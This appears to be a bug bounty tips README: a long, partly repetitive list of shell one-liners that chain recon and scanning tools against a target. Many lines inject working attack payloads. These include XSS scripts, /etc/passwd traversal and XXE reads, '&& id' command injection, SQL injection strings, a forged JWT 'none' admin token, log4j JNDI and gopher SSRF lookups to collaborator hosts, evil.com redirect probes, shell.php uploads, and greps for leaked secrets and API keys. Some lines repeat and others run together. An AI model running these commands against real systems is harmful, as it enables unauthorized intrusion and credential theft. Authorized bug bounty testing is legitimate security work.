This repository is a collection of concise, actionable bug bounty tips, each carefully crafted into a single line. Whether you're just getting started or you're a seasoned bug hunter, these tips will help you level up your skills, save time, and uncover more vulnerabilities. 💡
In the world of bug bounty hunting, time is precious. Short, impactful tips can make all the difference. Here, you'll find quick insights that can easily be referenced when you're diving into a new target, testing a feature, or looking to refine your methodology. 🔍
Hello, Hacker! 👋 We'd love to stay connected with you. Reach out to us on any of these platforms and let's build something amazing together:
📜 Linktree: https://linktr.ee/yogsec
📷 Instagram: https://www.instagram.com/yogsec.io/
🐦 Twitter (X): https://x.com/yogsec
👨💼 Personal LinkedIn: https://www.linkedin.com/in/cybersecurity-pentester/
📧 Email: [email protected]
If you find our work helpful and would like to support us, consider buying us a coffee. Your support keeps us motivated and helps us create more awesome content. ❤️
☕ Support Us Here: https://buymeacoffee.com/yogsec
Here are some essential one-liners for various bug bounty tasks:
If you want wider coverage, like misconfigurations, tech detection, and common bugs, change the template path to -t vulnerabilities/:
cat urls.txt | httpx -silent -mc 200 | nuclei -silent -t vulnerabilities/ -o results.txtWant to check for subdomain takeovers in one line?
subfinder -d example.com | httpx -silent | nuclei -silent -t takeovers/ -o takeover.txtFor subdomain discovery with live check:
subfinder -d target.com | httpx -silent -mc 200Detect subdomain takeovers:
subfinder -d target.com | httpx -silent | nuclei -silent -t takeovers/For directory bruteforce:
ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -mc 200To quickly find open redirects:
cat urls.txt | gf redirect | httpx -silentFor XSS detection using Dalfox:
cat urls.txt | dalfox pipe --skip-bav --only-pocFor SQL Injection discovery:
cat urls.txt | gf sqli | sqlmap --batch --random-agent -m -Want to check for subdomain takeovers in one line?
subfinder -d example.com | httpx -silent | nuclei -silent -t takeovers/ -o takeover.txtFor subdomain discovery with live check:
subfinder -d target.com | httpx -silent -mc 200Detect subdomain takeovers:
subfinder -d target.com | httpx -silent | nuclei -silent -t takeovers/For directory bruteforce:
ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -mc 200To quickly find open redirects:
cat urls.txt | gf redirect | httpx -silentFor XSS detection using Dalfox:
cat urls.txt | dalfox pipe --skip-bav --only-pocFor SQL Injection discovery:
cat urls.txt | gf sqli | sqlmap --batch --random-agent -m -To find sensitive files like backups and configuration files:
cat urls.txt | waybackurls | grep -Ei '\.(bak|old|backup|log|env|sql|config)$'To detect CORS misconfigurations:
cat urls.txt | corscannerTo detect technologies and possible CVEs:
cat urls.txt | httpx -silent -title -tech-detect | nuclei -silent -t cves/To discover parameters for further testing:
cat urls.txt | waybackurls | uro | grep '?'For full recon chain:
subfinder -d target.com | httpx -silent -title -tech-detectFor a fast subdomain enumeration and port scan:
subfinder -d target.com | naabu -silent -top-ports 1000To get all URLs from Wayback, CommonCrawl, and AlienVault:
gau target.com | tee urls.txtTo find secrets in JS files:
cat urls.txt | grep '\.js$' | httpx -silent | xargs -I{} bash -c 'curl -s {} | tr "[:space:]" "\n" | grep -Ei "(api|key|token|secret|password|passwd|authorization)="'To find open AWS buckets:
subfinder -d target.com | httpx -silent | nuclei -silent -t s3-detect.yamlTo find misconfigured login panels:
cat urls.txt | nuclei -silent -t exposed-panels/To check all parameters for reflected XSS:
cat urls.txt | gf xss | dalfox pipe --skip-bav --only-pocTo check for exposed Git repositories:
cat urls.txt | httpx -silent -path "/.git/config" -mc 200To extract all parameters from URLs for manual testing:
cat urls.txt | uro | grep '?'To perform takeover checks on domains from a subdomain list:
cat subdomains.txt | nuclei -silent -t takeovers/To find CVEs based on technology:
cat urls.txt | httpx -silent -title -tech-detect | nuclei -silent -t cves/To find the top ports and services for all subdomains:
subfinder -d target.com | naabu -top-ports 1000 -silentTo extract all endpoints from JS files for analysis:
cat urls.txt | grep '\.js$' | httpx -silent | xargs -I{} bash -c 'curl -s {} | grep -oE "(/api/v[0-9]+/[^\"'\'']+|/[a-zA-Z0-9_/.-]+\.(php|aspx|jsp|html|json|xml|txt))"'For subdomain discovery with live check:
subfinder -d target.com | httpx -silent -mc 200Detect subdomain takeovers:
subfinder -d target.com | httpx -silent | nuclei -silent -t takeovers/For directory bruteforce:
ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -mc 200To quickly find open redirects:
cat urls.txt | gf redirect | httpx -silentFor XSS detection using Dalfox:
cat urls.txt | dalfox pipe --skip-bav --only-pocFor SQL Injection discovery:
cat urls.txt | gf sqli | sqlmap --batch --random-agent -m -To find sensitive files like backups and configuration files:
cat urls.txt | waybackurls | grep -Ei '\.(bak|old|backup|log|env|sql|config)$'To detect CORS misconfigurations:
cat urls.txt | corscannerTo detect technologies and possible CVEs:
cat urls.txt | httpx -silent -title -tech-detect | nuclei -silent -t cves/To discover parameters for further testing:
cat urls.txt | waybackurls | uro | grep '?'For full recon chain:
subfinder -d target.com | httpx -silent -title -tech-detectFor a fast subdomain enumeration and port scan:
subfinder -d target.com | naabu -silent -top-ports 1000To get all URLs from Wayback, CommonCrawl, and AlienVault:
gau target.com | tee urls.txtTo find secrets in JS files:
cat urls.txt | grep '\.js$' | httpx -silent | xargs -I{} bash -c 'curl -s {} | tr "[:space:]" "\n" | grep -Ei "(api|key|token|secret|password|passwd|authorization)="'To find open AWS buckets:
subfinder -d target.com | httpx -silent | nuclei -silent -t s3-detect.yamlTo find misconfigured login panels:
cat urls.txt | nuclei -silent -t exposed-panels/To check all parameters for reflected XSS:
cat urls.txt | gf xss | dalfox pipe --skip-bav --only-pocTo check for exposed Git repositories:
cat urls.txt | httpx -silent -path "/.git/config" -mc 200To extract all parameters from URLs for manual testing:
cat urls.txt | uro | grep '?'To perform takeover checks on domains from a subdomain list:
cat subdomains.txt | nuclei -silent -t takeovers/To find CVEs based on technology:
cat urls.txt | httpx -silent -title -tech-detect | nuclei -silent -t cves/To find the top ports and services for all subdomains:
subfinder -d target.com | naabu -top-ports 1000 -silentTo extract all endpoints from JS files for analysis:
cat urls.txt | grep '\.js$' | httpx -silent | xargs -I{} bash -c 'curl -s {} | grep -oE "(/api/v[0-9]+/[^\"'\'']+|/[a-zA-Z0-9_/.-]+\.(php|aspx|jsp|html|json|xml|txt))"'To scan for backup files, old config, or DB dumps:
cat urls.txt | httpx -silent -path-list <(echo -e "/.env\n/config.php\n/backup.zip\n/database.sql\n/admin.bak") -mc 200To find open .git folders:
cat subdomains.txt | httpx -silent -path "/.git/config" -mc 200For WordPress scan to detect plugins, themes, etc.:
cat urls.txt | nuclei -silent -t technologies/wordpress/To hunt for CRLF injection:
cat urls.txt | gf crlf | qsreplace '%0d%0aTestHeader:TestValue' | httpx -silent -hdrsTo detect CORS misconfigurations:
cat urls.txt | corscannerTo test all URLs for LFI:
cat urls.txt | gf lfi | qsreplace '/etc/passwd' | httpx -silent -mc 200To find information disclosure via backup files:
cat urls.txt | waybackurls | grep -Ei '\.(bak|old|backup|log|sql|env|zip|tar|gz|rar)$' | httpx -silent -mc 200To find exposed admin/login panels:
cat urls.txt | nuclei -silent -t exposed-panels/For full JS hunting and secrets scan:
gau target.com | grep '\.js$' | httpx -silent | xargs -I{} bash -c 'echo {} && curl -s {} | tr -d "\r" | grep -E -i "(api[_-]?key|secret|token|auth|password|passwd|client[_-]?id|client[_-]?secret)="'To search for open redirects:
cat urls.txt | gf redirect | qsreplace 'https://evil.com' | httpx -silent -mc 302,301 -fr 'evil.com'For a quick SQL injection scan:
cat urls.txt | gf sqli | sqlmap --batch --random-agent -m -To find interesting endpoints like admin, login, debug, etc.:
gau target.com | grep -Ei '/(admin|login|debug|test|backup|panel|dashboard)'To check for exposed config files:
cat urls.txt | httpx -silent -path-list <(echo -e '/.env\n/.git/config\n/.DS_Store\n/config.php\n/config.json') -mc 200To scan for CVEs in all subdomains:
subfinder -d target.com | httpx -silent | nuclei -silent -t cves/To search for all extensions that leak backup files:
gau target.com | grep -Ei '\.(bak|old|backup|sql|log|tar|zip|gz|rar|swp|env|config)$' | httpx -silent -mc 200To check for CORS misconfigurations:
cat urls.txt | corscannercat urls.txt | nuclei -silent -t exposed-panels/subfinder -d target.com | httpx -silent -mc 200 | tee alive.txt | nuclei -silent -t cves/,exposed-panels/subfinder -d target.com | anew subs.txt && cat subs.txt | httpx -silent -title -tech-detect -ports 80,443,8080,8443 | anew alive.txtcat alive.txt | hakrawler -subs | grep '\.js$' | anew jsfiles.txt && cat jsfiles.txt | xargs -I{} bash -c 'curl -s {} | tr -d "\r" | egrep -i "(api|key|token|secret|password|passwd|authorization|bearer|client_id|client_secret)"' | tee secrets.txtcat alive.txt | gf redirect | qsreplace 'https://evil.com' | httpx -silent -fr 'evil.com' -mc 302,301subfinder -d target.com | httpx -silent | nuclei -silent -t cves/,misconfiguration/cat alive.txt | httpx -silent -path-list <(echo -e "/.git/config\n/.env\n/database.sql\n/backup.zip\n/config.php\n/wp-config.php") -mc 200 | tee backups.txtcat alive.txt | hakrawler -subs -depth 2 | gf xss | qsreplace '"><script>alert(document.domain)</script>' | httpx -silent -fr 'alert(document.domain)'cat alive.txt | gf lfi | qsreplace '../../../../../../etc/passwd' | httpx -silent -mc 200cat alive.txt | waybackurls | gf params | uro | qsreplace FUZZ | ffuf -u FUZZ -w wordlists/payloads/xss.txt -fr 'FUZZ'subfinder -d target.com | httpx -silent | nuclei -silent -t takeovers/assetfinder --subs-only target.com | httpx -silent -title -tech-detect | tee assets_with_tech.txtsubfinder -d target.com | anew subs.txt && cat subs.txt | httpx -silent | hakrawler -subs -depth 2 | anew urls.txt && cat urls.txt | gf xss | dalfox pipe --skip-bav --only-poc | tee xss_poc.txt && cat urls.txt | grep '\.js$' | xargs -I{} bash -c 'curl -s {} | egrep -i "(api|key|token|secret|password|passwd|auth)"' | tee secrets.txtsubfinder -d target.com | httpx -silent -title -tech-detect -ports 80,443,8080,8443 | tee tech_scan.txt && cat tech_scan.txt | nuclei -silent -t cves/subfinder -d target.com | httpx -silent -mc 200 | hakrawler -subs -depth 3 -plain | anew urls.txt && cat urls.txt | grep '\.js$' | xargs -I{} bash -c 'curl -s {} | tr -d "\r" | gf secrets | tee -a secrets.txt'cat urls.txt | gf xss,lfi,sqli | uro | qsreplace FUZZ | ffuf -u FUZZ -w xss.txt,lfi.txt,sqli.txt -fr "FUZZ" | tee param_fuzz.txtsubfinder -d target.com | dnsx -a -resp-only -silent | nuclei -silent -t takeovers/,dns/subfinder -d target.com | httpx -silent | anew alive.txt && cat alive.txt | httpx -silent -path-list <(curl -s https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/backup.txt) -mc 200 | tee backups_found.txtsubfinder -d target.com | httpx -silent | anew alive.txt && cat alive.txt | xargs -I{} gobuster dir -u {} -w big_wordlist.txt -t 50 -o gobuster_output.txtcat urls.txt | gf ssrf | qsreplace 'http://canarytoken.com' | httpx -silent -mc 200 -fr 'canarytoken'subfinder -d target.com | httpx -silent | anew alive.txt && cat alive.txt | hakrawler -subs -depth 2 | anew urls.txt && cat urls.txt | gf wordlist | anew wordlist.txtsubfinder -d target.com | httpx -silent -path-list <(echo -e "/robots.txt\n/sitemap.xml") -mc 200 | tee robots_sitemaps.txtcat urls.txt | gf crlf | qsreplace '%0d%0aTest-Header: InjectedValue' | httpx -silent -hdrs | tee crlf_vulns.txtcat alive.txt | httpx -silent -path / -mc 200 -hdrs | grep -i 'content-security-policy' | tee csp_misconfig.txtcat urls.txt | grep '\.js$' | xargs -I{} bash -c 'curl -s {} | grep -E -o "(http|https)://[^\" ]+" | anew js_endpoints.txt && curl -s {} | egrep -i "(document\.write|eval|innerHTML|fetch|XMLHttpRequest|localStorage|sessionStorage|cookie)" | tee -a sensitive_js.txt'subfinder -d target.com | httpx -silent -title -tech-detect -ports 80,443,8080,8443 | tee alive.txt && cat alive.txt | nuclei -silent -t cves/,misconfiguration/,exposures/,default-logins/,panels/ | tee findings.txt && cat alive.txt | hakrawler -subs -depth 3 | anew urls.txt && cat urls.txt | gf xss,sqli,lfi,ssrf | dalfox pipe --skip-bav --only-poc | tee vulns.txt && cat urls.txt | grep '\.js$' | xargs -I{} bash -c 'curl -s {} | tr -d "\r" | gf secrets' | tee secrets_found.txtsubfinder -d target.com | httpx -silent | nuclei -silent -t takeovers/,redirect/ -o takeover_redirects.txtgau target.com | gf xss,lfi,sqli,ssrf | qsreplace FUZZ | ffuf -u FUZZ -w payloads/xss.txt,payloads/lfi.txt,payloads/sqli.txt,payloads/ssrf.txt -fr "FUZZ" | tee param_vulns.txtsubfinder -d target.com | httpx -silent -path-list <(curl -s https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/backup.txt) -mc 200 | tee backup_leaks.txtgau --subs target.com | grep '\.js$' | httpx -silent -status-code -mc 200 | xargs -I{} bash -c 'curl -s {} | gf secrets' | tee js_secrets.txtsubfinder -d target.com | anew subs.txt && cat subs.txt | httpx -silent -path-list <(echo -e "/robots.txt\n/sitemap.xml") -mc 200 | hakrawler -subs -depth 3 | anew all_urls.txtsubfinder -d target.com | httpx -silent -path / -mc 200 -hdrs | grep -i 'content-security-policy' | tee csp_policies.txtgau target.com | gf ssrf | qsreplace 'http://your-collaborator-url.burpcollaborator.net' | httpx -silentDeep Search for Hidden Panels + Config Pages (Across All Ports)
subfinder -d target.com | httpx -silent -ports 80,443,8080,8443 | nuclei -silent -t panels/,exposures/configs/ -o exposed_panels.txtsubfinder -d target.com | httpx -silent -title -tech-detect -ports 80,443,8080,8443 | nuclei -silent -t cves/,misconfiguration/ -o full_scan.txtcat all_urls.txt | httpx -silent -mc 200 -fr 'text/html' -body | grep -iE "<!--.*-->" | tee html_comments.txtcat all_urls.txt | grep '\.js$' | xargs -I{} bash -c 'curl -s {} | grep -Eo "(https?|ftp)://[a-zA-Z0-9./?=_-]*"' | anew extracted_urls.txtsubfinder -d target.com | httpx -silent -path-list <(echo -e "/.git/\n/.env\n/database.sql\n/backup.zip\n/config.yml") -mc 200 | tee sensitive_files.txtcat all_urls.txt | gf redirect | qsreplace 'https://evil.com' | httpx -silent -fr 'evil.com' -o open_redirects.txtsubfinder -d target.com | httpx -silent -path / -mc 200 -hdrs | nuclei -silent -t misconfiguration/http-headers/ -o header_issues.txtsubfinder -d target.com | dnsx -a -resp-only | anew all_ips.txt && cat all_ips.txt | xargs -I{} sh -c 'whois {} | grep -iE "OrgName|NetName|CIDR"' | tee whois_lookup.txtsubfinder -d target.com | tee subs.txt && cat subs.txt | httpx -silent -title -tech-detect -ports 80,443,8080,8443 | tee tech_info.txt && cat subs.txt | hakrawler -subs -depth 3 | anew urls.txt && cat urls.txt | nuclei -silent -t cves/,misconfiguration/,takeovers/,panels/,redirect/ -o nuclei_findings.txt && cat urls.txt | gf xss,sqli,lfi,ssrf,redirect | qsreplace FUZZ | ffuf -u FUZZ -w payloads/xss.txt,payloads/sqli.txt,payloads/lfi.txt,payloads/ssrf.txt -fr "FUZZ" | tee param_scan.txtcat all_urls.txt | gf lfi | qsreplace '../../../../../etc/passwd' | httpx -silent -fr 'root:x' -o traversal_hits.txtsubfinder -d target.com | httpx -silent -path /.git/HEAD -mc 200 -o exposed_git.txtcat all_urls.txt | gf idor | qsreplace 'id=123' | anew idor_urls.txt && qsreplace 'id=124' | httpx -silent -mc 200 -o possible_idor.txtcat all_urls.txt | grep -Ei 'jwt|token' | qsreplace 'eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.' | httpx -silent -mc 200 -o jwt_none.txtcat all_urls.txt | gf upload | qsreplace 'file=payload.php' | httpx -silent -upload-file payload.php -o upload_findings.txtcat all_urls.txt | sed 's/$/%00index.php/' | httpx -silent -mc 200 -o path_confusion.txtsubfinder -d target.com | httpx -silent -path / -H 'Origin: https://evil.com' -hdrs | grep -i 'access-control-allow-origin' | grep 'evil.com' | tee weak_cors.txtcat all_urls.txt | gf ssrf | qsreplace '${jndi:ldap://your-collaborator-url.burpcollaborator.net}' | httpx -silentcat all_urls.txt | gf ssti | qsreplace '{{7*7}}' | httpx -silent -fr '49' -o ssti_hits.txtcat all_urls.txt | gf parameters | qsreplace '__proto__[exploit]=polluted' | httpx -silent -fr 'polluted' -o prototype_pollution.txtsubfinder -d target.com | httpx -silent -path-list <(echo -e '/debug\n/_profiler\n/_debugbar\n/_error') -mc 200 -o debug_pages.txtcat all_urls.txt | grep '\.js$' | xargs -I{} curl -s {} | grep -Eo "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" | tee emails_found.txtsubfinder -d target.com | httpx -silent -path / -hdrs | grep -i 'x-amz-bucket-region' | tee public_s3.txtsubfinder -d target.com | httpx -silent -path-list <(curl -s https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/admin-panels.txt) -mc 200 -o exposed_admins.txtcat all_urls.txt | gf xss | qsreplace '<script>alert(1)</script>' | httpx -silent -fr '<script>alert(1)</script>' -o reflected_xss.txtsubfinder -d target.com | httpx -silent -title -tech-detect | nuclei -silent -t misconfiguration/ -o misconfigs_found.txtcat all_js_urls.txt | xargs -I{} curl -s {} | grep -Eo 'AIza[0-9A-Za-z_-]{35}|sk_live_[0-9a-zA-Z]{24}' | tee leaked_api_keys.txtcat all_urls.txt | sed -E 's/(.*)/\1~\n\1.bak\n\1.old\n\1.swp/' | httpx -silent -mc 200 -o backup_files.txtsubfinder -d target.com | httpx -silent -path /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php -mc 200 -o phpunit_rce.txtcat all_urls.txt | grep 'graphql' | xargs -I{} curl -s -X POST -d '{"query":"{__schema{types{name}}}"}' {} | grep -iq 'types' && echo "{} introspection enabled" >> graphql_misconfigs.txtcat all_urls.txt | httpx -silent -H 'Host: evil.com' -hdrs | grep -i 'evil.com' | tee host_header_injection.txtcat all_urls.txt | gf redirect | qsreplace 'https://evil.com' | httpx -silent -fr 'https://evil.com' -o open_redirects.txtcat all_urls.txt | gf login | qsreplace 'sessionid=1234abcd' | httpx -silent -fr '1234abcd' -o session_fixation.txtsubfinder -d target.com | httpx -silent -path /.env -mc 200 -o exposed_env.txtcat all_urls.txt | gf ssrf | qsreplace 'http://your-collab-url.burpcollaborator.net' | httpx -silentcat all_urls.txt | gf crlf | qsreplace '%0D%0ASet-Cookie:crlf=found' | httpx -silent -fr 'crlf=found' -o crlf_injections.txtsubfinder -d target.com | httpx -silent -tech-detect -o cms_detected.txtcat all_urls.txt | httpx -silent -H 'X-Content-Type-Options' -H 'X-Frame-Options' -H 'Content-Security-Policy' -H 'Strict-Transport-Security' | grep -E "missing|absent" | tee weak_headers.txtcat all_urls.txt | gf cache | qsreplace 'X-Forwarded-Host: evil.com' | httpx -silent -fr 'evil.com' -o cache_poisoning.txtcat all_js_urls.txt | xargs -I{} curl -s {} | grep -E 'prototype|__proto__|constructor' | tee client_side_prototype.txtsubfinder -d target.com | httpx -silent -path-list <(echo -e '/backup.jpg\n/screenshot.png\n/db-dump.png\n/log.png') -mc 200 -o exposed_images.txtsubfinder -d target.com | httpx -silent -title -tech-detect | nuclei -silent -t vulnerabilities/ -o all_findings.txtcat all_urls.txt | qsreplace '${jndi:ldap://your-collab-url.burpcollaborator.net/a}' | httpx -silent -o log4j_candidates.txtsubfinder -d target.com | sed 's/$/.s3.amazonaws.com/' | httpx -silent -mc 200 -o open_buckets.txtcat jwt_tokens.txt | jwt-cracker -w wordlist.txt -t 50 -o weak_jwt_keys.txtcat all_urls.txt | httpx -silent -H 'Origin: https://evil.com' -hdrs | grep -E "Access-Control-Allow-Origin: \*|Access-Control-Allow-Origin: https://evil.com" | tee cors_vulns.txtsubfinder -d target.com | sed 's/$/.storage.googleapis.com/' | httpx -silent -mc 200 -o open_gcp_buckets.txtcat all_urls.txt | gf deserialize | qsreplace 'evil_pickle_payload_here' | httpx -silent -o pickle_vulns.txtcat all_urls.txt | gf sqli | qsreplace "' OR 1=1 --" | httpx -silent -fr 'syntax|sql|error|database' -o sql_injection.txtcat all_urls.txt | httpx -silent -hdrs | grep -Ei 'server:|x-powered-by:' | tee version_disclosures.txtcat all_urls.txt | gf crlf | qsreplace '%0d%0aSet-Cookie:+crlf=found' | httpx -silent -fr 'crlf=found' -o crlf_cookie_injection.txtcat all_urls.txt | qsreplace '../../etc/passwd' | httpx -silent -fr 'root:x' -o dir_traversal.txtsubfinder -d target.com | sed 's/$/.blob.core.windows.net/' | httpx -silent -mc 200 -o open_azure_blobs.txtsubfinder -d target.com | dnsx -silent -a -resp-only | nuclei -silent -t takeover-detection/ -o takeover_candidates.txtcat all_urls.txt | httpx -silent -path-list <(echo -e '/admin\n/dashboard\n/cms\n/panel\n/root\n/console') -mc 200 -o exposed_admins.txtsubfinder -d target.com | dnsx -silent -aaaa -resp-only | tee ipv6_assets.txtcat all_urls.txt | gf ssti | qsreplace '{{7*7}}' | httpx -silent -fr '49' -o ssti_vulns.txtcat all_urls.txt | gf redirect | qsreplace 'https://evil.com' | httpx -silent -fr 'Location: https://evil.com' -o open_redirects.txtcat all_urls.txt | gf ssrf | qsreplace 'http://your-burpcollab-url.burpcollaborator.net' | httpx -silent -o ssrf_candidates.txtcat subdomains.txt | httpx -silent -path '/.git/config' -mc 200 -o exposed_git_repos.txtcat all_urls.txt | gf cmd-injection | qsreplace '&& id' | httpx -silent -fr 'uid=' -o cmd_injection.txtcat all_urls.txt | qsreplace '__proto__[exploit]=polluted' | httpx -silent -fr 'polluted' -o prototype_pollution.txtcat all_urls.txt | httpx -silent -fr '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' -o leaked_emails.txtcat all_urls.txt | httpx -silent -H 'Host: attacker.com' -fr 'attacker.com' -o host_header_injection.txtcat all_urls.txt | qsreplace 'C:/Windows/win.ini' | httpx -silent -fr 'for 16-bit app support' -o windows_traversal.txtcat subdomains.txt | httpx -silent -path-list <(echo -e '/.env\n/config.php.bak\n/database.yml\n/backup.zip') -mc 200 -o sensitive_files.txtcat subdomains.txt | httpx -silent -path-list <(echo -e '/phpmyadmin\n/jenkins\n/wp-admin\n/admin\n/cpanel') -mc 200 -o exposed_panels.txtcat all_js_urls.txt | xargs -I{} curl -s {} | grep -E 'apiKey|apikey|secret|token|bearer' | tee hardcoded_api_keys.txtcat subdomains.txt | httpx -silent -path '/actuator/health' -mc 200 -o exposed_actuators.txtcat all_urls.txt | qsreplace 'gopher://127.0.0.1:6379/_COMMAND' | httpx -silent -o gopher_ssrf_candidates.txtcat all_urls.txt | gf xss | qsreplace '<h1>PWNED</h1>' | httpx -silent -fr '<h1>PWNED</h1>' -o html_injection.txtcat all_urls.txt | httpx -silent -hdrs | grep -i 'authorization: Bearer' | tee bearer_tokens.txtnuclei -l subdomains.txt -t cves/wordpress/ -o wp_vulns.txtcat subdomains.txt | gau | grep -E '\.(js|css|png|jpg|jpeg|gif|svg|woff|ttf|ico)' | httpx -silent -status-code -o broken_links.txtcat all_urls.txt | qsreplace '%0d%0aSet-Cookie:crlftest=crlfpoc' | httpx -silent -fr 'crlftest=crlfpoc' -o crlf_injection.txtcat subdomains.txt | nuclei -t misconfiguration/ -o s3_buckets.txtcat subdomains.txt | httpx -silent -methods PUT,DELETE -mc 200 -o risky_methods.txtcat subdomains.txt | httpx -silent -path '/graphql' -mc 200 -fr 'Introspection Query' -o graphql_introspection.txtfor domain in $(cat subdomains.txt); do dig axfr $domain @ns1.$domain; donecat subdomains.txt | nuclei -t security-misconfiguration/csp-missing.yaml -o weak_csp.txtcat subdomains.txt | httpx -silent -path-list <(echo -e '/backup.sql\n/.git/config\n/backup.zip') -mc 200 -o backup_leaks.txtcat all_urls.txt | qsreplace 'sessionid=abc123' | httpx -silent -fr 'sessionid=abc123' -o session_fixation.txtcat subdomains.txt | jwt_tool -I -bruteforce wordlist.txt -o weak_jwt_keys.txtcat all_urls.txt | httpx -silent -fr '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' -o leaked_emails.txtcat all_urls.txt | gf xxe | qsreplace '<?xml version="1.0"?><!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><data>&xxe;</data>' | httpx -silent -fr 'root:x' -o xxe_poc.txtcat subdomains.txt | httpx -silent -path '/' -fr 'Index of' -o open_dirs.txtcat subdomains.txt | httpx -silent -path '/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/' -mc 200 -o exposed_k8s_dashboard.txtcat subdomains.txt | httpx -silent -path '/swagger-ui.html' -mc 200 -o exposed_swagger.txtcat all_urls.txt | gf redirect | qsreplace 'https://evil.com' | httpx -silent -fr 'evil.com' -o open_redirects.txtcat all_urls.txt | gf lfi | qsreplace '../etc/passwd' | httpx -silent -fr 'root:x' -o directory_traversal.txtcat all_urls.txt | gf ssti | qsreplace '{{7*7}}' | httpx -silent -fr '49' -o ssti_found.txtcat subdomains.txt | httpx -silent -H "Origin: https://evil.com" -fr 'https://evil.com' -o weak_cors.txtcat all_urls.txt | gf sqli | qsreplace "' OR '1'='1" | httpx -silent -fr 'error' -o sqli_poc.txtcat subdomains.txt | httpx -silent -path-list <(echo -e '/.env\n/config.php\n/settings.py\n/config.json') -mc 200 -o leaked_configs.txtcat all_urls.txt | gf ssrf | qsreplace 'http://burpcollaborator.net' | httpx -silent -o ssrf_candidates.txtcat all_urls.txt | gf upload | httpx -silent -mc 200 -o upload_endpoints.txtcat all_urls.txt | httpx -silent -fr 'sk_live|pk_live|eyJhbGci|-----BEGIN PRIVATE KEY-----|4[0-9]{12}(?:[0-9]{3})?' -o sensitive_data.txtcat all_urls.txt | httpx -silent -fr 'eyJ' -o jwt_leaks.txtcat subdomains.txt | httpx -silent -path-list <(echo -e '/phpmyadmin/\n/admin/\n/mongo-express/') -mc 200 -o exposed_db_panels.txtcat subdomains.txt | httpx -silent -path '/.git/config' -mc 200 -o exposed_git.txtcat subdomains.txt | httpx -silent -path-list <(echo -e '/test.php\n/dev.php\n/debug.php') -mc 200 -o debug_pages.txtcat subdomains.txt | gau | grep '\.js$' | httpx -silent -fr 'AIza|sk_live|ghp_' -o api_key_leaks.txtcat upload_endpoints.txt | qsreplace 'file=shell.php' | httpx -silent -mc 200 -o shell_upload.txtcat subdomains.txt | httpx -silent -header 'X-Frame-Options' -o missing_xfo.txtcat all_urls.txt | qsreplace 'param1=value1¶m1=value2' | httpx -silent -mc 200 -o hpp_candidates.txtcat subdomains.txt | httpx -silent -sc -title -o server_versions.txtcat all_urls.txt | grep -i 'reset' | grep -E 'token=|key=' | httpx -silent -o reset_token_leak.txtcat subdomains.txt | httpx -silent -H "Host: attacker.com" -fr "attacker.com" -o host_header_injection.txtcat all_urls.txt | qsreplace 'X-Original-URL: /evil' | httpx -silent -fr 'evil' -o cache_poisoning.txtcat subdomains.txt | awk -F. '{print $1"."$2}' | while read domain; do aws s3 ls s3://$domain --no-sign-request; donecat subdomains.txt | httpx -silent -path /robots.txt -fr 'token|key|secret' -o secret_leak_robots.txtcat contact_forms_urls.txt | qsreplace 'email=attacker%0A%0DCC%[email protected]' | httpx -silent -mc 200 -o email_injection.txtcat subdomains.txt | httpx -silent -path /info.php -mc 200 -o phpinfo_exposed.txtcat subdomains.txt | httpx -silent -path-list <(echo -e '/actuator/health\n/actuator/env\n/actuator/mappings') -mc 200 -o exposed_actuator.txtcat subdomains.txt | httpx -silent -path '/' -fr 'Index of' -o directory_listing.txtcat subdomains.txt | httpx -silent -path '/#/login' -mc 200 -o kube_dashboard_exposed.txtcat subdomains.txt | httpx -silent -path-list <(echo -e '/access.log\n/error.log') -mc 200 -o exposed_logs.txtcat subdomains.txt | httpx -silent -path-list <(echo -e '/backup.zip\n/db.sql\n/site.tar.gz') -mc 200 -o backup_files.txtcat idor_urls.txt | qsreplace 'user_id=123' | httpx -silent -mc 200 -o idor_candidates.txtcat subdomains.txt | httpx -silent -H 'Content-Security-Policy' -o weak_csp.txtcat subdomains.txt | httpx -silent -path /swagger.json -mc 200 -o swagger_exposed.txtcat all_urls.txt | grep -i 'access_token=' -o oauth_token_leaks.txtcat subdomains.txt | httpx -silent -path /graphql -mc 200 -o graphql_found.txtcat all_urls.txt | qsreplace '__proto__[test]=polluted' | httpx -silent -fr 'polluted' -o prototype_pollution.txtcat subdomains.txt | httpx -silent -path /xmlrpc.php -mc 200 -o xmlrpc_found.txt🔐 JWT None Algorithm Bypass Check
cat all_urls.txt | qsreplace 'token=eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.' | httpx -silent -mc 200 -o jwt_none_bypass.txt🚀 Session Fixation via Set-Cookie
cat subdomains.txt | httpx -silent -H "Cookie: sessionid=attacker-session" -o session_fixation.txt🛜 Open Redirects
cat urls.txt | qsreplace 'https://evil.com' | httpx -silent -fr 'evil.com' -o open_redirects.txt🗂️ Exposed .git Folder
cat subdomains.txt | httpx -silent -path /.git/HEAD -mc 200 -o git_exposed.txt🌍 Exposed .env Files (Secrets Leak)
cat subdomains.txt | httpx -silent -path /.env -mc 200 -o env_leaks.txt🧬 GraphQL Introspection Enabled
cat subdomains.txt | httpx -silent -path /graphql -x POST -body '{"query":"query IntrospectionQuery { __schema { types { name } } }"}' -fr 'data' -o graphql_introspection.txtInsecure CORS (Wildcard or Null)
cat subdomains.txt | httpx -silent -H "Origin: https://evil.com" -fr "https://evil.com" -o insecure_cors.txt📂 Backup Files Discovery (.zip, .sql, etc)
cat subdomains.txt | httpx -silent -path-list <(echo -e '/backup.zip\n/db.sql\n/site_backup.tar.gz') -mc 200 -o backup_files.txt📊 Admin Panels Discovery
